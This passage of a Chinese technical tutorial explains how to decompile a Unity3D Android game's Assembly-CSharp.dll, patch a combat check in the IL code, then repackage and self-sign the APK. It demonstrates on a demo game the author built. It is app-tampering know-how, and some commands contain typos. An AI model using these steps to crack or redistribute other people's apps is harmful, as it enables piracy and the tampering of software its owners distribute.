上的一些数字类型(角色攻击是线性增长,怪物指数变强,到后期越打不过,通过重生增强属性变强)的小游戏。但是这种游戏仍旧存在一定缺陷,前期资源不多,玩的太慢、玩的时间长了,就感觉没意思,就不想玩了,所以在玩到游戏中期的时候,往往都会去网上搜索XXX破解版/内购版,快速进入后期然后放弃这款游戏。这样的做法其实是很不安全的,因为无法判断XXX破解版/内购版在破解/内购之后还做了什么。所以我最后的解决办法是,逆向这些apk,修改游戏逻辑。让我在玩的时候,可以快速度过缓慢的前期。
逆向了几个玩过的游戏,发现这类游戏使用Unity3D开发的居多。因此本文将介绍简单Unity3D类安卓游戏的逆向修改思路。
0x01 准备工具
逆向最简单的Unity3D类安卓游戏建议使用安装好 JAVA 环境的Windows系统(涉及到dll文件的修改,所以Windows平台更加适合)。
1.1 安卓 APK 逆向三件套
一般 APK 逆向,常使用到
apktool
、dex2jar
、jd-gui
。在逆向 Unity3D 安卓游戏时,仅仅只需要使用到apktool
1.2 dll文件逆向三件套
因为一般的 Unity3D 安卓游戏的主逻辑都在
asserts/bin/data/Managed/Assembly-CSarp.dll
中,所以我们还需要dll文件逆向/重新打包
的工具。- ILSpy: 用于查看dll程序逻辑
- ILDASM: 用于反编译dll文件,生成il文件(存放了dll反编译后的指令)和res文件(反编译后的资源文件),可以安装Windows SDK或者从网上下载。
- ilasm: .net4.0自带了,位置在
C:\Windows\Microsofr.NET\Framework\v4.0.30319\ilasm.exe
1.3 生成重新打包的自签名证书
修改完 apk 之后,需要对 apk 进行签名。该命令用于生成签名的证书。
12keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 0validity 10000# 记住设置的密码,最后自签名应用的时候需要输入密码0x02 开发一个简单的 Unity3D 游戏
用Unity3D开发了一个简单小游戏作为本文的样例,逻辑十分简单:
- 英雄每过一关战斗力都会增加100.
- 怪物的战斗力为 Math.pow(2,当前关数)
- 当英雄战斗力小于怪物的战斗力时,英雄无法闯关。英雄可以考虑修炼或者重生提高战斗力。
- 英雄每次修炼战斗力都会增加1000.
- 英雄选择重生后,关卡数清零,需要重新闯关,但英雄初始战斗力会增加 2000 * 重生前闯关数。
具体代码可以参考 Github
0x03 游戏逆向步骤
1.使用
apktool
解压游戏安装包1java -jar apktool.jar d game.apk2.提取出
game/assets/bin/data/Managed/Assembly-CSarp.dll
,使用ILSpy
打开即可看到 dll 里面的逻辑。注: Unity3D开发的安卓游戏,其核心代码都在这个 dll 文件中,所以逆向/修改这个 dll 文件就可以了。这也是 Unity3D 和 其它安卓逆向不同的地方。
在没有混淆的情况下,反编译出的函数内容和原内容十分相似:
ILSpy 反编译的 Click1 内容
Click1 的原始代码3.找到关键函数、关键逻辑后,就可以尝试反编译
dll
文件并修改。使用ILDASM
将dll
文件反编译成il
文件。使用ILDASM
打开dll
文件后,File -> dump
就可以导出反编译结果了。4.根据步骤2,就很容易理解逻辑了,然后根据速查表,就可以知道在步骤3导出的
il
文件中修改哪里了。例如步骤2中Click1
就是游戏中点击闯关
按钮绑定的逻辑。闯关的关键判断就在:info.hero_power + info.temp_power + info.add_power >= info.monster_power
。所以打开步骤3中生成的.il
文件,结合 .NET IL 指令速查表修改这部分对应的关键逻辑即可。修改为
info.hero_power + info.temp_power + info.add_power != info.monster_power
就可以通过此处的逻辑判断。5.修改关键逻辑后,通过重新编译
dll
文件、apk
文件、签名修改后的apk
就可以在手机上安装运行了。重新编译dll文件命令如下:
1C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe game.il /output=Assembly-CSarp.dll /dll将重新编译的dll放回
game/assets/bin/data/Managed/
目录下,使用apktool重新打包apk:12java -jar apktool.jar b gamecp game/dist/game.apk ./自签名应用:
1jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore game.apk alias_name6.修改成功,开局修炼一次后,就可以无限闯关。顺利到达第30关。
0x04 杂谈和总结
- Unity3D有一个较为明显的特征: 开局会显示游戏LOGO。这个可以作为判断一个游戏是不是Unity3D开发的小参考。
- 文中的demo到了31关,就会发生整型溢出,怪物战斗力变为负数。原因是怪物战斗力的值为int型。在以前玩过的某个后期极度不平衡的游戏中,我的确遇到过整型溢出的问题。造成花钱升级还能增余额的情况。
- 在修改游戏之前把游戏语言调整为英文有助于在逆向的时候理解各个函数的意义(对于没有混淆的应用)。
- 游戏修改之后,很容易丧失原本的乐趣,变成纯粹的数字游戏。谨慎修改!
0x05 参考链接
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/829/